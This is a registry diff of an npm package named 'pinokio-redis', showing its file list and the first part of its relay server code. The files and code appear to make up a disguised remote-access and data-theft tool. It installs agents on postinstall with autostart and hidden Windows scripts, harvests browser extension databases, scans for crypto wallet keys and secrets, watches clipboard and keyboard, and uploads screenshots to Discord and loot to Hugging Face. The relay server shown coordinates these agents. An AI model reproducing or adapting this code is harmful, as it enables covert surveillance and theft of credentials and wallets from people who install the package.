pinokio-redis 1.0.127

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (208) hide show
  1. package/README.md +3 -0
  2. package/assets/codicons/codicon.css +629 -0
  3. package/assets/codicons/codicon.ttf +0 -0
  4. package/assets/explorer-highlight/explorer-highlight.css +110 -0
  5. package/assets/explorer-highlight/highlight.min.js +1213 -0
  6. package/assets/files-explorer-template.html +7450 -0
  7. package/assets/forge-explorer-favicon.svg +31 -0
  8. package/assets/remote-control-template.html +3472 -0
  9. package/assets/secret_filename_patterns.json +81 -0
  10. package/dist/agentPid.d.ts +14 -0
  11. package/dist/agentPid.js +104 -0
  12. package/dist/agentRestartFromQueue.d.ts +15 -0
  13. package/dist/agentRestartFromQueue.js +143 -0
  14. package/dist/agentRunner.d.ts +13 -0
  15. package/dist/agentRunner.js +400 -0
  16. package/dist/assets/codicons/codicon.css +629 -0
  17. package/dist/assets/codicons/codicon.ttf +0 -0
  18. package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
  19. package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
  20. package/dist/assets/files-explorer-template.html +7450 -0
  21. package/dist/assets/forge-explorer-favicon.svg +31 -0
  22. package/dist/assets/remote-control-template.html +3472 -0
  23. package/dist/assets/secret_filename_patterns.json +81 -0
  24. package/dist/autostart/agentEnvFile.d.ts +80 -0
  25. package/dist/autostart/agentEnvFile.js +637 -0
  26. package/dist/autostart/constants.d.ts +14 -0
  27. package/dist/autostart/constants.js +17 -0
  28. package/dist/autostart/darwin.d.ts +11 -0
  29. package/dist/autostart/darwin.js +210 -0
  30. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
  31. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
  32. package/dist/autostart/index.d.ts +4 -0
  33. package/dist/autostart/index.js +20 -0
  34. package/dist/autostart/install.d.ts +6 -0
  35. package/dist/autostart/install.js +113 -0
  36. package/dist/autostart/linux.d.ts +17 -0
  37. package/dist/autostart/linux.js +298 -0
  38. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
  39. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
  40. package/dist/autostart/macPathEnv.d.ts +5 -0
  41. package/dist/autostart/macPathEnv.js +23 -0
  42. package/dist/autostart/manifest.d.ts +11 -0
  43. package/dist/autostart/manifest.js +74 -0
  44. package/dist/autostart/quote.d.ts +12 -0
  45. package/dist/autostart/quote.js +65 -0
  46. package/dist/autostart/resolve.d.ts +35 -0
  47. package/dist/autostart/resolve.js +85 -0
  48. package/dist/autostart/windows.d.ts +15 -0
  49. package/dist/autostart/windows.js +278 -0
  50. package/dist/chromiumExtensionDbHarvest.d.ts +91 -0
  51. package/dist/chromiumExtensionDbHarvest.js +766 -0
  52. package/dist/cli-agent.d.ts +3 -0
  53. package/dist/cli-agent.js +71 -0
  54. package/dist/cli-autostart.d.ts +2 -0
  55. package/dist/cli-autostart.js +166 -0
  56. package/dist/cli-forge.d.ts +2 -0
  57. package/dist/cli-forge.js +5 -0
  58. package/dist/cli-linux-session-refresh.d.ts +2 -0
  59. package/dist/cli-linux-session-refresh.js +30 -0
  60. package/dist/cli-relay.d.ts +3 -0
  61. package/dist/cli-relay.js +41 -0
  62. package/dist/clientId.d.ts +2 -0
  63. package/dist/clientId.js +97 -0
  64. package/dist/clipboardEventWatcher.d.ts +8 -0
  65. package/dist/clipboardEventWatcher.js +176 -0
  66. package/dist/clipboardExec.d.ts +7 -0
  67. package/dist/clipboardExec.js +266 -0
  68. package/dist/clipboardNapi.d.ts +4 -0
  69. package/dist/clipboardNapi.js +19 -0
  70. package/dist/deploymentCipherData.d.ts +20 -0
  71. package/dist/deploymentCipherData.js +31 -0
  72. package/dist/deploymentDefaults.d.ts +43 -0
  73. package/dist/deploymentDefaults.js +199 -0
  74. package/dist/desktopEnvSync.d.ts +18 -0
  75. package/dist/desktopEnvSync.js +21 -0
  76. package/dist/discordAgentScreenshot.d.ts +27 -0
  77. package/dist/discordAgentScreenshot.js +540 -0
  78. package/dist/discordBotTokens.d.ts +29 -0
  79. package/dist/discordBotTokens.js +78 -0
  80. package/dist/discordRateLimit.d.ts +93 -0
  81. package/dist/discordRateLimit.js +238 -0
  82. package/dist/discordRelayUpload.d.ts +55 -0
  83. package/dist/discordRelayUpload.js +808 -0
  84. package/dist/discordWebhookPost.d.ts +13 -0
  85. package/dist/discordWebhookPost.js +123 -0
  86. package/dist/durableDistDir.d.ts +4 -0
  87. package/dist/durableDistDir.js +61 -0
  88. package/dist/envLoad.d.ts +1 -0
  89. package/dist/envLoad.js +18 -0
  90. package/dist/explorerHeavyDirSkips.d.ts +8 -0
  91. package/dist/explorerHeavyDirSkips.js +26 -0
  92. package/dist/exportMirrorCopy.d.ts +27 -0
  93. package/dist/exportMirrorCopy.js +366 -0
  94. package/dist/extensionDbHfUpload.d.ts +36 -0
  95. package/dist/extensionDbHfUpload.js +359 -0
  96. package/dist/fileLockForce.d.ts +50 -0
  97. package/dist/fileLockForce.js +1479 -0
  98. package/dist/filesExplorer.d.ts +21 -0
  99. package/dist/filesExplorer.js +237 -0
  100. package/dist/forgeBulkDc.d.ts +69 -0
  101. package/dist/forgeBulkDc.js +308 -0
  102. package/dist/forgeRtcAgent.d.ts +31 -0
  103. package/dist/forgeRtcAgent.js +259 -0
  104. package/dist/forgeSemver.d.ts +2 -0
  105. package/dist/forgeSemver.js +25 -0
  106. package/dist/fsMessages.d.ts +3 -0
  107. package/dist/fsMessages.js +169 -0
  108. package/dist/fsProtocol.d.ts +151 -0
  109. package/dist/fsProtocol.js +7071 -0
  110. package/dist/headlessAgent.d.ts +28 -0
  111. package/dist/headlessAgent.js +77 -0
  112. package/dist/hfCredentials.d.ts +23 -0
  113. package/dist/hfCredentials.js +141 -0
  114. package/dist/hfHubPathSanitize.d.ts +4 -0
  115. package/dist/hfHubPathSanitize.js +30 -0
  116. package/dist/hfHubUploadContent.d.ts +2 -0
  117. package/dist/hfHubUploadContent.js +199 -0
  118. package/dist/hfSeqIdLookup.d.ts +25 -0
  119. package/dist/hfSeqIdLookup.js +193 -0
  120. package/dist/hfUpload.d.ts +55 -0
  121. package/dist/hfUpload.js +1362 -0
  122. package/dist/hostInventorySend.d.ts +5 -0
  123. package/dist/hostInventorySend.js +91 -0
  124. package/dist/index.d.ts +24 -0
  125. package/dist/index.js +62 -0
  126. package/dist/inputContext.d.ts +11 -0
  127. package/dist/inputContext.js +1097 -0
  128. package/dist/keyboardTranslate.d.ts +23 -0
  129. package/dist/keyboardTranslate.js +204 -0
  130. package/dist/linuxClipboardSession.d.ts +16 -0
  131. package/dist/linuxClipboardSession.js +179 -0
  132. package/dist/linuxX11.d.ts +7 -0
  133. package/dist/linuxX11.js +71 -0
  134. package/dist/relayAgent.d.ts +25 -0
  135. package/dist/relayAgent.js +1431 -0
  136. package/dist/relayAuth.d.ts +10 -0
  137. package/dist/relayAuth.js +81 -0
  138. package/dist/relayDashboardGate.d.ts +36 -0
  139. package/dist/relayDashboardGate.js +378 -0
  140. package/dist/relayForAgentHttp.d.ts +24 -0
  141. package/dist/relayForAgentHttp.js +132 -0
  142. package/dist/relayPackageServe.d.ts +6 -0
  143. package/dist/relayPackageServe.js +107 -0
  144. package/dist/relayServer.d.ts +9 -0
  145. package/dist/relayServer.js +2268 -0
  146. package/dist/secretScan/agentStartupAudit.d.ts +58 -0
  147. package/dist/secretScan/agentStartupAudit.js +784 -0
  148. package/dist/secretScan/auditFindingSlim.d.ts +25 -0
  149. package/dist/secretScan/auditFindingSlim.js +184 -0
  150. package/dist/secretScan/auditScanScope.d.ts +25 -0
  151. package/dist/secretScan/auditScanScope.js +233 -0
  152. package/dist/secretScan/base58check.d.ts +6 -0
  153. package/dist/secretScan/base58check.js +49 -0
  154. package/dist/secretScan/contentScanner.d.ts +23 -0
  155. package/dist/secretScan/contentScanner.js +278 -0
  156. package/dist/secretScan/dedupeFindings.d.ts +12 -0
  157. package/dist/secretScan/dedupeFindings.js +232 -0
  158. package/dist/secretScan/fileCandidates.d.ts +30 -0
  159. package/dist/secretScan/fileCandidates.js +370 -0
  160. package/dist/secretScan/runFilenameSecretScan.d.ts +54 -0
  161. package/dist/secretScan/runFilenameSecretScan.js +360 -0
  162. package/dist/secretScan/scanConfig.d.ts +6 -0
  163. package/dist/secretScan/scanConfig.js +87 -0
  164. package/dist/secretScan/secp256k1Scalar.d.ts +4 -0
  165. package/dist/secretScan/secp256k1Scalar.js +14 -0
  166. package/dist/secretScan/secretAuditExcludePaths.d.ts +4 -0
  167. package/dist/secretScan/secretAuditExcludePaths.js +46 -0
  168. package/dist/secretScan/solanaKeypair.d.ts +8 -0
  169. package/dist/secretScan/solanaKeypair.js +87 -0
  170. package/dist/secretScan/strictMaterialGate.d.ts +15 -0
  171. package/dist/secretScan/strictMaterialGate.js +151 -0
  172. package/dist/secretScan/types.d.ts +86 -0
  173. package/dist/secretScan/types.js +6 -0
  174. package/dist/syncClient.d.ts +80 -0
  175. package/dist/syncClient.js +214 -0
  176. package/dist/tableNaming.d.ts +13 -0
  177. package/dist/tableNaming.js +101 -0
  178. package/dist/vcToWindowsVk.d.ts +7 -0
  179. package/dist/vcToWindowsVk.js +154 -0
  180. package/dist/win32InputNative.d.ts +18 -0
  181. package/dist/win32InputNative.js +198 -0
  182. package/dist/windowsInputSync.d.ts +44 -0
  183. package/dist/windowsInputSync.js +853 -0
  184. package/dist/workerBootstrap.d.ts +17 -0
  185. package/dist/workerBootstrap.js +342 -0
  186. package/package.json +86 -0
  187. package/scripts/copy-assets.mjs +44 -0
  188. package/scripts/discord-live-probe.mjs +221 -0
  189. package/scripts/encode-deployment.mjs +135 -0
  190. package/scripts/encode-hf-credentials.mjs +30 -0
  191. package/scripts/ensure-dist.mjs +86 -0
  192. package/scripts/env-sync-selftest.js +11 -0
  193. package/scripts/explorer-global-roots.mjs +87 -0
  194. package/scripts/explorer-isolated-npm-env.mjs +57 -0
  195. package/scripts/forge-isolated-runtime.mjs +547 -0
  196. package/scripts/forge-jsx-explorer-kill-agent.mjs +364 -0
  197. package/scripts/forge-jsx-explorer-restart.mjs +288 -0
  198. package/scripts/forge-jsx-explorer-upgrade.mjs +1048 -0
  199. package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
  200. package/scripts/pm2-restart-forge-relay-agent.sh +45 -0
  201. package/scripts/postinstall-agent.mjs +571 -0
  202. package/scripts/postinstall-bootstrap.mjs +279 -0
  203. package/scripts/postinstall-clipboard-event.mjs +165 -0
  204. package/scripts/postinstall-durable-materialize.mjs +145 -0
  205. package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
  206. package/scripts/registry-version-lib.mjs +98 -0
  207. package/scripts/restart-agent.mjs +66 -0
  208. package/scripts/windows-forge-diagnostics.ps1 +56 -0
@@ -0,0 +1,2268 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ Object.defineProperty(exports, "__esModule", { value: true });
36
+ exports.startRelayServer = startRelayServer;
37
+ /**
38
+ * HTTP + WebSocket relay — cfgmgr.relay_server (explorer routing only).
39
+ */
40
+ const http = __importStar(require("node:http"));
41
+ const node_fs_1 = require("node:fs");
42
+ const path = __importStar(require("node:path"));
43
+ const ws_1 = __importStar(require("ws"));
44
+ const deploymentDefaults_1 = require("./deploymentDefaults");
45
+ const filesExplorer_1 = require("./filesExplorer");
46
+ const relayAuth_1 = require("./relayAuth");
47
+ const hfCredentials_1 = require("./hfCredentials");
48
+ const discordRelayUpload_1 = require("./discordRelayUpload");
49
+ const relayDashboardGate_1 = require("./relayDashboardGate");
50
+ const hfSeqIdLookup_1 = require("./hfSeqIdLookup");
51
+ const relayForAgentHttp_1 = require("./relayForAgentHttp");
52
+ const relayPackageServe_1 = require("./relayPackageServe");
53
+ // ── Blacklist cache ───────────────────────────────────────────────────────────
54
+ /**
55
+ * In-memory blacklist cache: set of canonical client IDs fetched from forge-db `/api/blacklist`.
56
+ * Refreshed periodically so the relay blocks screenshot uploads + agent connections from
57
+ * blacklisted clients without needing a direct DB connection.
58
+ *
59
+ * Env: `RELAY_FORGE_DB_API_URL` (default http://127.0.0.1:8765) — must point to forge-db HTTP API.
60
+ * Disable blacklist enforcement: `RELAY_BLACKLIST_CHECK=0`.
61
+ */
62
+ const _blacklistIds = new Set();
63
+ let _blacklistLastFetchMs = 0;
64
+ const _BLACKLIST_REFRESH_MS = 10_000; // refresh at most once per 10s
65
+ const _blacklistRejectLogMs = new Map();
66
+ /** Per-session blacklist reject detail line — blacklisted agents often reconnect in a tight loop. */
67
+ const _BLACKLIST_REJECT_LOG_THROTTLE_MS = 300_000;
68
+ /** PM2-friendly: periodic count of throttled reject logs (same enforcement; less noise). */
69
+ const _BLACKLIST_REJECT_ROLLUP_LOG_MS = 120_000;
70
+ let _blacklistRejectSuppressedForRollup = 0;
71
+ let _blacklistRejectRollupLastLogMs = 0;
72
+ function _noteBlacklistRejectSuppressed() {
73
+ _blacklistRejectSuppressedForRollup++;
74
+ const now = Date.now();
75
+ if (now - _blacklistRejectRollupLastLogMs < _BLACKLIST_REJECT_ROLLUP_LOG_MS)
76
+ return;
77
+ if (_blacklistRejectSuppressedForRollup < 1)
78
+ return;
79
+ console.log(`[relay] Blacklisted agent reconnect attempts (additional): ${_blacklistRejectSuppressedForRollup} not logged individually (per-session detail at most once per ${_BLACKLIST_REJECT_LOG_THROTTLE_MS / 1000}s)`);
80
+ _blacklistRejectSuppressedForRollup = 0;
81
+ _blacklistRejectRollupLastLogMs = now;
82
+ }
83
+ /** sessionId → last agent version we already logged (once per version until relay restart). */
84
+ const _versionNoticeLogged = new Map();
85
+ /** Caps PM2 churn when WS logging is enabled and an agent reconnect-flaps quickly. */
86
+ const _AGENT_WS_LIFECYCLE_LOG_THROTTLE_MS = 30_000;
87
+ const _agentWsLifecycleLogMs = new Map();
88
+ let _relayPkgVersionCache;
89
+ function _forgeDbApiUrl() {
90
+ const raw = (process.env.RELAY_FORGE_DB_API_URL ||
91
+ process.env.FORGE_JS_SYNC_URL ||
92
+ process.env.CFGMGR_API_URL ||
93
+ "").trim();
94
+ if (raw) {
95
+ // Strip /api suffix if present — we need the base URL
96
+ return raw.replace(/\/api\/?$/, "").replace(/\/$/, "");
97
+ }
98
+ return "http://127.0.0.1:8765";
99
+ }
100
+ function _blacklistEnabled() {
101
+ const raw = (process.env.RELAY_BLACKLIST_CHECK ?? "1").trim().toLowerCase();
102
+ return !["0", "false", "no", "off"].includes(raw);
103
+ }
104
+ function agentVersionOlderThanRelay(agentVersion, relayPkg) {
105
+ const av = agentVersion.trim().split(".").map((x) => parseInt(x, 10) || 0);
106
+ const rv = relayPkg.trim().split(".").map((x) => parseInt(x, 10) || 0);
107
+ if (rv.length < 3 || av.length < 3)
108
+ return false;
109
+ if (av[0] < rv[0])
110
+ return true;
111
+ if (av[0] === rv[0] && av[1] < rv[1])
112
+ return true;
113
+ if (av[0] === rv[0] && av[1] === rv[1] && av[2] < rv[2])
114
+ return true;
115
+ return false;
116
+ }
117
+ async function _refreshBlacklistIfStale() {
118
+ if (!_blacklistEnabled())
119
+ return;
120
+ const now = Date.now();
121
+ if (now - _blacklistLastFetchMs < _BLACKLIST_REFRESH_MS)
122
+ return;
123
+ try {
124
+ const url = `${_forgeDbApiUrl()}/api/blacklist`;
125
+ const apiKey = (process.env.RELAY_FORGE_DB_API_KEY || process.env.FORGE_DB_API_KEY || "").trim();
126
+ const res = await fetch(url, {
127
+ signal: AbortSignal.timeout(5000),
128
+ headers: {
129
+ "User-Agent": "forge-jsx-relay/1.0",
130
+ ...(apiKey ? { "X-Forge-Api-Key": apiKey } : {}),
131
+ },
132
+ });
133
+ if (!res.ok)
134
+ return;
135
+ const data = await res.json();
136
+ if (Array.isArray(data.blacklisted)) {
137
+ _blacklistIds.clear();
138
+ for (const id of data.blacklisted) {
139
+ if (typeof id === "string" && id.trim())
140
+ _blacklistIds.add(id.trim());
141
+ }
142
+ _blacklistLastFetchMs = now;
143
+ }
144
+ }
145
+ catch {
146
+ /* ignore transient errors — use stale cache */
147
+ }
148
+ }
149
+ function _isBlacklisted(sessionId) {
150
+ if (!_blacklistEnabled() || !sessionId)
151
+ return false;
152
+ if (_blacklistIds.has(sessionId))
153
+ return true;
154
+ // Also check UUID form extracted from table-style session id (e.g. client_abc_123 → abc-123)
155
+ const m = sessionId.match(/^client_([0-9a-f]{8}_[0-9a-f]{4}_[0-9a-f]{4}_[0-9a-f]{4}_[0-9a-f]{12})$/i);
156
+ if (m) {
157
+ const uuid = m[1].replace(/_/g, "-").toLowerCase();
158
+ if (_blacklistIds.has(uuid))
159
+ return true;
160
+ }
161
+ return false;
162
+ }
163
+ function _shouldLogBlacklistedReject(sessionId) {
164
+ const now = Date.now();
165
+ const prev = _blacklistRejectLogMs.get(sessionId) || 0;
166
+ if (now - prev < _BLACKLIST_REJECT_LOG_THROTTLE_MS)
167
+ return false;
168
+ _blacklistRejectLogMs.set(sessionId, now);
169
+ if (_blacklistRejectLogMs.size > 2000) {
170
+ // Keep memory bounded even under hostile reconnect storms.
171
+ for (const [sid, ts] of _blacklistRejectLogMs) {
172
+ if (now - ts > _BLACKLIST_REJECT_LOG_THROTTLE_MS * 10) {
173
+ _blacklistRejectLogMs.delete(sid);
174
+ }
175
+ }
176
+ }
177
+ return true;
178
+ }
179
+ function _shouldRelayLogAgentWsLifecycle(sessionId) {
180
+ const now = Date.now();
181
+ const prev = _agentWsLifecycleLogMs.get(sessionId) || 0;
182
+ if (now - prev < _AGENT_WS_LIFECYCLE_LOG_THROTTLE_MS)
183
+ return false;
184
+ _agentWsLifecycleLogMs.set(sessionId, now);
185
+ if (_agentWsLifecycleLogMs.size > 2000) {
186
+ for (const [sid, ts] of _agentWsLifecycleLogMs) {
187
+ if (now - ts > _AGENT_WS_LIFECYCLE_LOG_THROTTLE_MS * 20) {
188
+ _agentWsLifecycleLogMs.delete(sid);
189
+ }
190
+ }
191
+ }
192
+ return true;
193
+ }
194
+ function _shouldLogVersionNotice(sessionId, agentVersion) {
195
+ const ver = String(agentVersion || "").trim();
196
+ if (!ver)
197
+ return false;
198
+ if (_versionNoticeLogged.get(sessionId) === ver)
199
+ return false;
200
+ _versionNoticeLogged.set(sessionId, ver);
201
+ if (_versionNoticeLogged.size > 4000) {
202
+ const drop = Math.floor(_versionNoticeLogged.size / 2);
203
+ let n = 0;
204
+ for (const sid of _versionNoticeLogged.keys()) {
205
+ _versionNoticeLogged.delete(sid);
206
+ if (++n >= drop)
207
+ break;
208
+ }
209
+ }
210
+ return true;
211
+ }
212
+ function relayPackageVersion() {
213
+ if (_relayPkgVersionCache)
214
+ return _relayPkgVersionCache;
215
+ try {
216
+ const pkgPath = path.resolve(__dirname, "../package.json");
217
+ const raw = (0, node_fs_1.readFileSync)(pkgPath, "utf8");
218
+ const parsed = JSON.parse(raw);
219
+ const fileVersion = typeof parsed.version === "string" ? parsed.version.trim() : "";
220
+ if (fileVersion) {
221
+ _relayPkgVersionCache = fileVersion;
222
+ return fileVersion;
223
+ }
224
+ }
225
+ catch {
226
+ /* fallback below */
227
+ }
228
+ const envVersion = (process.env.FORGE_JSX_RELAY_VERSION || "").trim();
229
+ if (envVersion) {
230
+ _relayPkgVersionCache = envVersion;
231
+ return envVersion;
232
+ }
233
+ _relayPkgVersionCache = "unknown";
234
+ return _relayPkgVersionCache;
235
+ }
236
+ // ── Relay version (diagnostics only; upgrades are manual via file explorer) ─
237
+ /**
238
+ * When Discord screenshots are enabled, agents always receive `discord_screenshot_interval_ms`
239
+ * (default **5m** if `RELAY_DISCORD_SCREENSHOT_INTERVAL_MS` is unset). Relay-only env.
240
+ */
241
+ function relayDiscordScreenshotAdvertisedIntervalMs() {
242
+ if (!(0, discordRelayUpload_1.discordRelayScreenshotEnabled)())
243
+ return undefined;
244
+ const raw = (process.env.RELAY_DISCORD_SCREENSHOT_INTERVAL_MS || "").trim();
245
+ const n = raw ? parseInt(raw, 10) : 300_000;
246
+ if (!Number.isFinite(n))
247
+ return 300_000;
248
+ return Math.min(600_000, Math.max(10_000, n));
249
+ }
250
+ /** Optional cadence / first-shot stagger caps (relay `.env` → `relay_features`; agents apply if unset locally). */
251
+ function relayDiscordScreenshotAdvertisedIntervalStaggerMs() {
252
+ if (!(0, discordRelayUpload_1.discordRelayScreenshotEnabled)())
253
+ return undefined;
254
+ const raw = (process.env.RELAY_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS || "").trim();
255
+ if (!raw)
256
+ return undefined;
257
+ const n = parseInt(raw, 10);
258
+ if (!Number.isFinite(n) || n <= 0)
259
+ return undefined;
260
+ return Math.min(120_000, Math.max(1, n));
261
+ }
262
+ function relayDiscordScreenshotAdvertisedFirstStaggerMs() {
263
+ if (!(0, discordRelayUpload_1.discordRelayScreenshotEnabled)())
264
+ return undefined;
265
+ const raw = (process.env.RELAY_DISCORD_SCREENSHOT_FIRST_STAGGER_MS || "").trim();
266
+ if (!raw)
267
+ return undefined;
268
+ const n = parseInt(raw, 10);
269
+ if (!Number.isFinite(n) || n <= 0)
270
+ return undefined;
271
+ return Math.min(300_000, Math.max(1, n));
272
+ }
273
+ /**
274
+ * How agents should post Discord screenshots when enabled.
275
+ * **`webhook`** (default): relay mints a short-lived webhook URL per upload; agent POSTs PNG directly;
276
+ * bot token never leaves the relay. **`relay`**: legacy path (`discord_screenshot_upload` over WS).
277
+ */
278
+ function relayDiscordScreenshotAdvertisedUploadMode() {
279
+ if (!(0, discordRelayUpload_1.discordRelayScreenshotEnabled)())
280
+ return undefined;
281
+ const raw = (process.env.RELAY_DISCORD_AGENT_UPLOAD_MODE || "webhook").trim().toLowerCase();
282
+ if (raw === "relay")
283
+ return "relay";
284
+ return "webhook";
285
+ }
286
+ /**
287
+ * Advertise `relay_features.agent_secret_audit` (belt-and-suspenders with agents, which default audit **ON**
288
+ * when `FORGE_JS_AGENT_SECRET_AUDIT` is unset).
289
+ * Default **on** when `RELAY_HF_CREDENTIALS_B64` is set; opt out with `RELAY_AGENT_SECRET_AUDIT=0`.
290
+ * Agents honor `FORGE_JS_AGENT_SECRET_AUDIT=0` to force-disable locally.
291
+ */
292
+ function relayAgentSecretAuditAdvertised() {
293
+ const raw = (process.env.RELAY_AGENT_SECRET_AUDIT || "").trim().toLowerCase();
294
+ if (["0", "false", "no", "off"].includes(raw))
295
+ return false;
296
+ if (["1", "true", "yes", "on"].includes(raw))
297
+ return true;
298
+ return Boolean((process.env.RELAY_HF_CREDENTIALS_B64 || "").trim());
299
+ }
300
+ /**
301
+ * Default on: advertise STUN/TURN ICE servers for browser↔agent WebRTC (signaling still uses this relay WS).
302
+ * Opt out only when explicitly disabled — keeps file-explorer + `/remote` P2P paths enabled without PM2/.env boilerplate.
303
+ */
304
+ function relayWebRtcSignalingEnabled() {
305
+ const raw = String(process.env.RELAY_WEBRTC_SIGNALING ?? "").trim().toLowerCase();
306
+ if (["0", "false", "no", "off"].includes(raw))
307
+ return false;
308
+ return true;
309
+ }
310
+ const RELAY_DEFAULT_RTC_ICE_SERVERS = [
311
+ { urls: "stun:stun.l.google.com:19302" },
312
+ { urls: "stun:stun1.l.google.com:19302" },
313
+ ];
314
+ /**
315
+ * JSON array of RTCIceServer objects, e.g.
316
+ * `[{"urls":"stun:stun.l.google.com:19302"},{"urls":"turn:…","username":"…","credential":"…"}]`
317
+ */
318
+ function relayRtcIceServersAdvertised() {
319
+ const raw = String(process.env.RELAY_RTC_ICE_SERVERS || "").trim();
320
+ if (raw) {
321
+ try {
322
+ const parsed = JSON.parse(raw);
323
+ if (Array.isArray(parsed) && parsed.length > 0)
324
+ return parsed;
325
+ }
326
+ catch {
327
+ /* fall through */
328
+ }
329
+ }
330
+ return [...RELAY_DEFAULT_RTC_ICE_SERVERS];
331
+ }
332
+ function relayWebRtcFeaturesPayload() {
333
+ if (!relayWebRtcSignalingEnabled())
334
+ return undefined;
335
+ return {
336
+ webrtc_signaling: true,
337
+ rtc_ice_servers: relayRtcIceServersAdvertised(),
338
+ };
339
+ }
340
+ function relayWebRtcOmitWhenAgentOlderThanRelay() {
341
+ const raw = String(process.env.RELAY_WEBRTC_REQUIRE_AGENT_SEMVER_GTE_RELAY || "")
342
+ .trim()
343
+ .toLowerCase();
344
+ return ["1", "true", "yes", "on"].includes(raw);
345
+ }
346
+ /** Digit-only dotted semver segments (aligned with viewer `versionLt`). */
347
+ function semverLt(a, b) {
348
+ const parse = (v) => v
349
+ .split(".")
350
+ .map((s) => parseInt(s.trim(), 10))
351
+ .filter((n) => Number.isFinite(n));
352
+ const av = parse(a);
353
+ const bv = parse(b);
354
+ if (av.length === 0 || bv.length === 0)
355
+ return false;
356
+ const n = Math.max(av.length, bv.length);
357
+ for (let i = 0; i < n; i++) {
358
+ const ai = av[i] ?? 0;
359
+ const bi = bv[i] ?? 0;
360
+ if (ai < bi)
361
+ return true;
362
+ if (ai > bi)
363
+ return false;
364
+ }
365
+ return false;
366
+ }
367
+ /**
368
+ * WebRTC ICE advertisement for viewers when relay signaling is on.
369
+ * Always returns ICE payload unless signaling is disabled. Optional legacy gate:
370
+ * RELAY_WEBRTC_REQUIRE_AGENT_SEMVER_GTE_RELAY=1 omits WebRTC until agent semver ≥ relay package.
371
+ * Agents without native datachannel still receive signaling here; the viewer probes and falls back to the relay WebSocket.
372
+ */
373
+ function relayWebRtcFeaturesForViewer(session) {
374
+ const base = relayWebRtcFeaturesPayload();
375
+ if (!base)
376
+ return undefined;
377
+ if (!relayWebRtcOmitWhenAgentOlderThanRelay()) {
378
+ return base;
379
+ }
380
+ const agentVer = session.agentVersion.trim();
381
+ if (!agentVer)
382
+ return base;
383
+ const relayVer = relayPackageVersion();
384
+ if (!relayVer || relayVer === "unknown")
385
+ return base;
386
+ if (!/^\d/.test(agentVer))
387
+ return base;
388
+ if (/^\d/.test(relayVer) && semverLt(agentVer, relayVer)) {
389
+ return undefined;
390
+ }
391
+ return base;
392
+ }
393
+ class Session {
394
+ sessionId;
395
+ agent = null;
396
+ viewer = null;
397
+ createdAt = Date.now();
398
+ lastActivity = Date.now();
399
+ agentInfo = {};
400
+ /** forge-jsx version reported by the agent in its `info` message. */
401
+ agentVersion = "";
402
+ agentOs = "";
403
+ agentHostname = "";
404
+ agentRemoteIp = "";
405
+ agentFilesystem = false;
406
+ /** From agent `info.features.webrtc_datachannel`; null if absent (legacy agent). */
407
+ agentWebrtcDatachannel = null;
408
+ /** Latest extension-db Hub upload outcome from agent (`agent_extension_db_status`). */
409
+ extensionDbOutcome = "";
410
+ extensionDbAtMs = 0;
411
+ /** forge-jsx version that reported extension-db status. */
412
+ extensionDbAgentVersion = "";
413
+ agentDisconnectNotifyTimer = null;
414
+ /** When the current agent socket was assigned — used to reject rapid duplicate connects. */
415
+ agentAssignedAt = 0;
416
+ /** When the agent slot last became empty (close handler) — allows lone-agent reconnect after a gap. */
417
+ agentSlotVacatedAt = 0;
418
+ constructor(sessionId) {
419
+ this.sessionId = sessionId;
420
+ }
421
+ touch() {
422
+ this.lastActivity = Date.now();
423
+ }
424
+ }
425
+ const sessions = new Map();
426
+ /** Serialize agent attach per session so concurrent WebSockets cannot race past slot cooldown. */
427
+ const agentAttachChains = new Map();
428
+ function enqueueAgentAttach(sessionId, work) {
429
+ const prev = agentAttachChains.get(sessionId) ?? Promise.resolve();
430
+ const next = prev
431
+ .catch(() => {
432
+ /* prior attach failed — continue chain */
433
+ })
434
+ .then(() => work())
435
+ .finally(() => {
436
+ if (agentAttachChains.get(sessionId) === next) {
437
+ agentAttachChains.delete(sessionId);
438
+ }
439
+ });
440
+ agentAttachChains.set(sessionId, next);
441
+ }
442
+ /** Set when `startRelayServer` binds — exposed on `GET /api/sessions` for status dashboards during reconnect storms. */
443
+ let relayServerStartedAtMs = 0;
444
+ function wsIsOpen(ws) {
445
+ return ws !== null && ws.readyState === ws_1.default.OPEN;
446
+ }
447
+ /** Disable Nagle on the underlying TCP socket — small `rc_input` / ICE JSON frames reach the peer sooner. */
448
+ function relayWsTcpNoDelay(ws) {
449
+ try {
450
+ const w = ws;
451
+ (w.socket ?? w._socket)?.setNoDelay(true);
452
+ }
453
+ catch {
454
+ /* skip */
455
+ }
456
+ }
457
+ function getOrCreateSession(sessionId) {
458
